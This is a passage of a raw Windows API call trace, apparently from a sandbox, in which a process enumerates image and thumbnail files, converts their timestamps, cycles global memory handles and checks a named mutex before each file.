(hMem=0x440004) returned 0 [0058.317] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.317] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9c8160, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9c8160, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0058.317] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.317] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.318] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.318] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.318] GlobalUnlock (hMem=0x440004) returned 0 [0058.318] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.318] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.318] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.318] GlobalUnlock (hMem=0x440004) returned 0 [0058.318] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.318] GlobalUnlock (hMem=0x44000c) returned 0 [0058.318] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.318] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eee5249, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0058.318] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.318] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.318] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.318] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.318] GlobalUnlock (hMem=0x44000c) returned 0 [0058.318] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.318] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.318] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.318] GlobalUnlock (hMem=0x44000c) returned 0 [0058.318] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.318] GlobalUnlock (hMem=0x440004) returned 0 [0058.318] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.318] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9a2003, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9a2003, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0058.318] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.318] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.318] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.319] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.319] GlobalUnlock (hMem=0x440004) returned 0 [0058.319] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.319] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.319] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.319] GlobalUnlock (hMem=0x440004) returned 0 [0058.319] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.319] GlobalUnlock (hMem=0x44000c) returned 0 [0058.319] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.319] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa86831, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa86831, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.319] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.319] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.319] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.319] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.319] GlobalUnlock (hMem=0x44000c) returned 0 [0058.319] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.319] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.319] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.319] GlobalUnlock (hMem=0x44000c) returned 0 [0058.319] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.319] GlobalUnlock (hMem=0x440004) returned 0 [0058.319] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.319] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.319] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.319] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.319] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.319] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.319] GlobalUnlock (hMem=0x440004) returned 0 [0058.320] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.320] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.320] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.320] GlobalUnlock (hMem=0x440004) returned 0 [0058.320] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.320] GlobalUnlock (hMem=0x44000c) returned 0 [0058.320] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.320] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa606d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa606d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.320] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.320] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.320] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.320] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.320] GlobalUnlock (hMem=0x44000c) returned 0 [0058.320] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.320] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.320] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.320] GlobalUnlock (hMem=0x44000c) returned 0 [0058.320] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.320] GlobalUnlock (hMem=0x440004) returned 0 [0058.320] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.320] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa1441a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa1441a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.320] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.320] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.320] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.320] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.320] GlobalUnlock (hMem=0x440004) returned 0 [0058.320] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.321] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.321] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.321] GlobalUnlock (hMem=0x440004) returned 0 [0058.321] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.321] GlobalUnlock (hMem=0x44000c) returned 0 [0058.321] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.321] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.321] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.321] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.321] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.321] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.321] GlobalUnlock (hMem=0x44000c) returned 0 [0058.321] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.321] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.321] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.321] GlobalUnlock (hMem=0x44000c) returned 0 [0058.321] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.321] GlobalUnlock (hMem=0x440004) returned 0 [0058.321] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.321] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.321] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.321] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.321] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.321] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.321] GlobalUnlock (hMem=0x440004) returned 0 [0058.321] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.321] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.321] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.321] GlobalUnlock (hMem=0x440004) returned 0 [0058.322] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.322] GlobalUnlock (hMem=0x44000c) returned 0 [0058.322] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.322] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0058.322] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.322] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.322] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.322] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.322] GlobalUnlock (hMem=0x44000c) returned 0 [0058.322] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.322] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.322] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.322] GlobalUnlock (hMem=0x44000c) returned 0 [0058.322] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.322] GlobalUnlock (hMem=0x440004) returned 0 [0058.322] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.322] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0058.322] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.322] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.322] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.322] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.322] GlobalUnlock (hMem=0x440004) returned 0 [0058.322] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.322] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.322] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.322] GlobalUnlock (hMem=0x440004) returned 0 [0058.322] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.322] GlobalUnlock (hMem=0x44000c) returned 0 [0058.323] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.323] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0058.323] GetLastError () returned 0x12 [0058.323] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.323] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.323] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.323] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.323] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.323] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.323] GlobalUnlock (hMem=0x44000c) returned 0 [0058.323] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.323] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.323] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.323] GlobalUnlock (hMem=0x44000c) returned 0 [0058.323] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.323] GlobalUnlock (hMem=0x440004) returned 0 [0058.323] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.323] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.323] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.324] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.324] GlobalLock (hMem=0x440004) returned 0x550170 [0058.324] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.324] GlobalUnlock (hMem=0x440004) returned 0 [0058.324] GlobalLock (hMem=0x440004) returned 0x550170 [0058.324] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.324] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.324] GlobalUnlock (hMem=0x440004) returned 0 [0058.324] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.324] GlobalUnlock (hMem=0x44000c) returned 0 [0058.324] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.324] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.324] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.324] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.324] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.324] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.324] GlobalUnlock (hMem=0x44000c) returned 0 [0058.324] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.324] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.324] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.324] GlobalUnlock (hMem=0x44000c) returned 0 [0058.324] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.324] GlobalUnlock (hMem=0x440004) returned 0 [0058.324] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.324] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.324] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.324] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.325] GlobalLock (hMem=0x440004) returned 0x550170 [0058.325] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.325] GlobalUnlock (hMem=0x440004) returned 0 [0058.325] GlobalLock (hMem=0x440004) returned 0x550170 [0058.325] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.325] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.325] GlobalUnlock (hMem=0x440004) returned 0 [0058.325] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.325] GlobalUnlock (hMem=0x44000c) returned 0 [0058.325] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.325] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.325] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.325] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.325] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.325] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.325] GlobalUnlock (hMem=0x44000c) returned 0 [0058.325] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.325] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.325] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.325] GlobalUnlock (hMem=0x44000c) returned 0 [0058.325] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.325] GlobalUnlock (hMem=0x440004) returned 0 [0058.325] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.325] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea754f5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea754f5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_plain_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.325] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.325] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.326] GlobalLock (hMem=0x440004) returned 0x550170 [0058.326] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.326] GlobalUnlock (hMem=0x440004) returned 0 [0058.326] GlobalLock (hMem=0x440004) returned 0x550170 